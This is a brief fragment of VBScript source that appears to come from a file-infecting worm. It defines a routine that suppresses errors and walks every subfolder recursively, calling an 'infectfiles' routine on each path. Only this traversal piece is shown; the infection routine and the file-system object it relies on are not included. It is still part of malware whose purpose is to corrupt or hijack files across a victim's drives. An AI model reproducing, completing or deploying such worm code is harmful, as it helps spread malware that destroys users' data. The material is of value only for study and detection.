sub folderlist(folderspec)
  On Error Resume Next
  dim f,f1,sf
  set f = fso.GetFolder(folderspec)
  set sf = f.SubFolders
  for each f1 in sf
  infectfiles(f1.path)
  folderlist(f1.path)
  next
  end sub